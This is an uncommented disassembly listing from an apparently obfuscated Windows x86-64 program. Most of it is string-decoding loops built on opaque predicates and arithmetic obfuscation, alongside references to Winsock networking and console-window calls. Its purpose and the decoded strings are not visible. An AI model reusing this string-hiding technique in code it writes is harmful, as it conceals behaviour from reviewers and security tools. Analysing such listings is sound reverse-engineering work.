sub r11b, 0x38
movzx eax, byte [rbp + rbx + 0x650]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f93
sub bl, 0x48
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 8
jmp 0x1400c5f90
add bl, 8
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x38
jmp 0x1400c5f80
lea rdx, [rbp + 0x1637170]
jmp 0x1400c6a7e
lea rdx, [rbp + 0x9bd5c8]
jmp 0x1400c6a7e
lea rdx, [rbp + 0x650]
mov rcx, rsi
call fcn.1400ca7c0
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x5b0], __WSAFDIsSet
mov byte [rbp + 0x5b1], 0x79
mov byte [rbp + 0x5b2], 0x79
mov byte [rbp + 0x5b3], 0x44
mov byte [rbp + 0x5b4], WSAStartup
mov byte [rbp + 0x5b5], 0x7b
mov byte [rbp + 0x5b6], 0x7d
mov byte [rbp + 0x5b7], 0xa7
mov byte [rbp + 0x5b8], 0x7b
mov byte [rbp + 0x5b9], 0x76
mov byte [rbp + 0x5ba], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5bb], Ordinal_79
mov byte [rbp + 0x5bc], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x5bd], 0x75
mov byte [rbp + 0x5be], 0x63
mov byte [rbp + 0x5bf], 0xbf
mov byte [rbp + 0x5c0], 0x65
mov byte [rbp + 0x5c1], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5c2], 0xba
mov byte [rbp + 0x5c3], __WSAFDIsSet
mov byte [rbp + 0x5c4], 0xb8
mov byte [rbp + 0x5c5], 0x56
mov byte [rbp + 0x5c6], WSAGetLastError
mov byte [rbp + 0x5c7], 0x68
mov byte [rbp + 0x5c8], 0x67
mov byte [rbp + 0x5c9], 0x67
mov byte [rbp + 0x5ca], WSAGetLastError
mov byte [rbp + 0x5cb], 0x5c
mov byte [rbp + 0x5cc], 0xa2
mov byte [rbp + 0x5cd], 0xa3
mov byte [rbp + 0x5ce], 0x5c
mov byte [rbp + 0x5cf], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x5d0], Ordinal_46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5d1], xmm0
movups xmmword [rbp + 0x5e1], xmm0
mov word [rbp + 0x5f1], ax
movabs r15, 0x6c581159c85318e2
movabs r12, 0xcf189c280aebdff2
movabs r13, 0x4508340d58f94aa6
movzx r11d, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400c779b
movzx r10d, byte [rbp + rbx + 0x5b0]
mov rdi, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c7792
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400c6c2c
lea rcx, [rbx + r15]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 0x2e
jmp 0x1400c6c73
je 0x1400c771a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c7689
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c7655
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7610
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c75eb
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c75a0
cmp r9, rbx
ja 0x1400c7789
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400c6ca1
lea edx, [rbx - 0x76]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c6ce2
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c7585
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c757b
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c755d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c7541
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c7515
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c7243
nop
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c7224
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c7200
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c71df
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c71c0
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c71a2
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c7186
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c7167
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c7149
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c712d
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c6cf0
lea r8, [r9 + 0x200]
lea r9, [r8 + 2]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c776a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c774b
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c6ee8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c6ec9
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c6eaa
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c70e6
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c7099
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c7057
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c7031
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c6cf0
lea r8, [r9 + 9]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c7005
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c6fe6
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c6fc8
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c6fad
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c6f8b
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c6f6d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c6f4c
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c6f24
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c6f06
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c6cf0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0xa]
jmp 0x1400c6cf0
lea edx, [rbx - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c6ce2
lea edx, [rbx - 0xe]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c6c73
lea edx, [rbx + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x42
add r11b, dl
jmp 0x1400c6bf5
lea edx, [rbx + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x30
movzx edi, bl
jmp 0x1400c75b9
lea edx, [rbx - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400c6be2
lea ecx, [rbx - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x78
dec rbx
inc rbx
jmp 0x1400c6be2
lea edx, [rbx + 4]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1c
movzx edi, bl
jmp 0x1400c7629
lea edx, [rbx + 0x40]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
jmp 0x1400c7670
lea ecx, [rbx + 0x7c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x64
jmp 0x1400c7670
lea edx, [rbx - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x1400c76ae
lea edx, [rbx - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c76d7
lea ecx, [rbx + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c6be2
lea ecx, [rbx - 0x3a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6a
mov byte [rbp + rbx + 0x5b0], r11b
inc rbx
jmp 0x1400c6be2
lea edx, [rbx + 2]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xe
add r11b, dl
cmp r9, 0x42
jb 0x1400c7047
movzx edi, bl
lea edx, [rdi + 0xc]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400c75bc
lea edx, [rbx + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 0x41
jae 0x1400c74cd
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400c73cb
lea edx, [rbx + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c706d
lea edx, [rbx + 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x56
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 8
je 0x1400c74ef
lea rcx, [r9 + 1]
cmp r8, rcx
jbe 0x1400c72fd
lea edx, [rbx - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
jmp 0x1400c70a7
lea edx, [rbx + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c7732
lea edx, [rbx + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x1400c76d7
lea edx, [rbx - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c76ae
lea edx, [rbx - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c766d
lea ecx, [rbx + 0x2c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x34
add r8, r9
jmp 0x1400c7670
movzx edi, bl
lea edx, [rdi + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c7629
lea ecx, [rbx - 0x5c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7c
dec rbx
inc rbx
jmp 0x1400c6be2
lea ecx, [rbx - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x1400c6be2
movzx edi, bl
lea edx, [rdi + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c75b9
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400c726a
lea edx, [rbx - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2e
jmp 0x1400c70fc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c728f
lea edx, [rbx + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c7732
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c72b6
lea edx, [rbx - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x44
add r11b, dl
jmp 0x1400c76ae
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c72cc
lea edx, [rbx - 0x54]
mov ecx, Ordinal_41
jmp 0x1400c75f3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c70ff
lea ecx, [rbx + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400c6be2
jne 0x1400c731d
movzx edi, bl
lea edx, [rdi - 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x52
jmp 0x1400c75b9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c7347
lea ecx, [rbx + 0x26]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xa
dec rbx
inc rbx
jmp 0x1400c6be2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c736e
movzx edi, bl
lea edx, [rdi - 0x16]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x66
jmp 0x1400c7629
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7392
lea ecx, [rbx + 0x72]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1e
jmp 0x1400c7670
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c70b3
lea ecx, [rbx - 0x42]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x32
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c6be2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c7400
lea ecx, [rbx + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c6be2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c7428
lea edx, [rbx - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c76ae
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c744c
lea ecx, [rbx + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2c
jmp 0x1400c7670
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c7477
lea edx, [rbx + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
jmp 0x1400c7670
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c74a1
lea ecx, [rbx - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
dec rbx
inc rbx
jmp 0x1400c6be2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c7070
movzx edi, bl
lea edx, [rdi + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c75b9
movzx edi, bl
lea edx, [rdi - 0x30]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + rbx + 0x5b0]
sub cl, al
add cl, 0x28
lea r11d, [rcx + rcx]
jmp 0x1400c7629
lea edx, [rbx - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0x5b0]
sub r11b, 0xc
add r11b, dl
jmp 0x1400c76ae
lea ecx, [rbx + 0x6e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 2
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c6be2
lea edx, [rbx + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c766d
movzx edi, bl
lea edx, [rdi - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x36
jmp 0x1400c7629
lea edx, [rbx - 0x2a]
mov ecx, reloc.WS2_32.dll_send
jmp 0x1400c75f3
movzx edi, bl
lea edx, [rdi + 0x4e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x22
jmp 0x1400c75b9
movzx edi, bl
lea edx, [rdi - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6a
add r11b, dl
sub dil, 0x12
movzx eax, r10b
and al, dil
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
mov byte [rbp + rbx + 0x5b0], cl
inc r9
dec rbx
inc rbx
jmp 0x1400c6be2
lea edx, [rbx + 0x3e]
mov ecx, Ordinal_41
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400c6be2
movzx edi, bl
lea edx, [rdi + 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x56
add r11b, dl
sub dil, 0x4e
movzx eax, r10b
and al, dil
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dil
mov byte [rbp + rbx + 0x5b0], cl
add r8, r9
jmp 0x1400c7670
lea rdx, [rbx + r12]
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c6be2
movabs rcx, 0xf66879747a45ae2e
add rcx, rbx
movzx r10d, dil
and dil, cl
add dil, dil
movzx r11d, r10b
sub r11b, dil
sub r11b, 0x42
add r11b, cl
lea edx, [rbx + 0x76]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x5b0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x68
add r10b, cl
mov byte [rbp + rbx + 0x5b0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c6be2
lea rdx, [rbx + r13]
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rbp + rbx + 0x5b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c6be2
add bl, 0x6a
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c6be0
sub bl, 0x5a
movzx eax, r10b
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c6bd0
lea rdx, [rbp + 0x154bd88]
jmp 0x1400c77a2
lea rdx, [rbp + 0xa7d66a]
jmp 0x1400c77a2
lea rdx, [rbp + 0x5b0]
mov rcx, r14
call fcn.140064200
mov byte [rbp + 0x178], 0xae
mov byte [rbp + 0x179], 0x64
mov byte [rbp + 0x17a], 0x78
mov byte [rbp + 0x17b], 0x7b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x17c], xmm0
mov qword [rbp + 0x18c], rax
mov dword [rbp + 0x194], eax
mov byte [rbp + 0x198], al
movabs rsi, 0xabb0416781b7746f
movabs r14, 0x310c43685265d4d
movzx ebx, byte [rsp + 0x30]
nop
mov rax, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor r11d, r11d
cmp r11, 0x21
jae 0x1400c8318
movzx r10d, byte [rbp + r11 + 0x178]
mov r8, r10
nop dword [rax]
cmp rax, r11
ja 0x1400c82fe
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400c785b
lea rdx, [r11 + rsi]
mov rcx, rdx
and rcx, r10
imul rbx, rcx, 0xfffffffffffffffe
add rbx, rdx
add rbx, r10
sub bl, 9
jmp 0x1400c7887
je 0x1400c8280
inc rcx
cmp rax, rcx
je 0x1400c8250
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c8214
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400c81f4
cmp r9, r11
ja 0x1400c82e4
lea rcx, [r9 + 0x41]
cmp rax, rcx
jae 0x1400c78b0
lea edx, [r11 + 0x1b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x43
jmp 0x1400c7900
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400c81af
inc rcx
cmp rax, rcx
je 0x1400c818c
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400c8172
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c80e4
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400c80cd
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400c80a1
nop dword [rax]
lea rcx, [rax + r9]
cmp rcx, r11
jbe 0x1400c7e79
nop dword [rax]
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1400c7e55
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400c7e2c
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1400c7e0c
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400c7def
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400c7dd5
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1400c7dbb
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x1400c7d9e
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1400c7d84
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400c7d58
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x1400c7910
lea rax, [r9 + 0x40]
lea r9, [rax + 0x61]
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x1400c82c8
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400c82ac
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x1400c7afb
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1400c7ae1
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x1400c7ac7
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400c7d0e
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1400c7cc4
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400c7c7f
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x1400c7c59
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x1400c7910
lea rax, [r9 + 0x3e8]
lea r9, [rax + 1]
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400c7c2c
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x1400c7c0e
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1400c7bec
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x1400c7bcc
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x1400c7bac
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x1400c7b88
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x1400c7b62
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x1400c7b39
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x1400c7b15
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400c7910
lea rax, [r9 + 8]
lea r9, [rax + 6]
jmp 0x1400c7910
lea edx, [r11 + 0x45]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x1d
jmp 0x1400c7900
lea edx, [r11 + 0x67]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x2f
jmp 0x1400c7887
lea edx, [r11 - 0x77]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x41
jmp 0x1400c7826
lea r8d, [r11 - 0x28]
movzx ecx, r10b
and cl, r8b
mov edx, listen
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
movzx edi, r11b
jmp 0x1400c81c7
lea r8d, [r11 - 6]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
inc r9
dec r11
inc r11
jmp 0x1400c7813
lea r8d, [r11 + 0x1c]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
dec r11
inc r11
jmp 0x1400c7813
lea r8d, [r11 + 0x3e]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
movzx edi, r11b
jmp 0x1400c822c
lea r8d, [r11 + 0x60]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x1400c8265
lea r8d, [r11 - 0x7e]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x1400c8268
lea r8d, [r11 - 0x5c]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x7c
add bl, r8b
movzx edi, r11b
jmp 0x1400c80fc
lea r8d, [r11 - 0x3a]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x6a
add bl, r8b
jmp 0x1400c8129
lea edx, [r11 - 0x18]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x58
movzx ecx, byte [rbp + r11 + 0x178]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400c7813
lea edx, [r11 - 0x43]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x2b
mov byte [rbp + r11 + 0x178], bl
inc r11
jmp 0x1400c7813
lea r8d, [r11 - 0x21]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x19
add bl, r8b
cmp r9, 3
jb 0x1400c7c6f
movzx edi, r11b
lea r8d, [rdi + 0x3a]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, r8b
lea ebx, [rdx*2 - 0x2c]
jmp 0x1400c81c7
lea r8d, [r11 + 1]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 7
add bl, r8b
cmp rax, 0x41
jae 0x1400c805b
lea rcx, [r9 + 6]
cmp rax, rcx
jbe 0x1400c7fc4
lea r8d, [r11 - 0x72]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x1400c7c95
lea edx, [r11 + 0x23]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0xb
lea rcx, [rax + r9]
cmp rcx, 0x3e8
je 0x1400c8083
lea rcx, [r9 + 1]
cmp rax, rcx
jbe 0x1400c7f2a
lea edx, [r11 + 0x73]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x25
jmp 0x1400c7cdd
lea edx, [r11 - 0x5e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x6e
movzx ecx, byte [rbp + r11 + 0x178]
add rcx, r9
add r11, rcx
inc r11
jmp 0x1400c7813
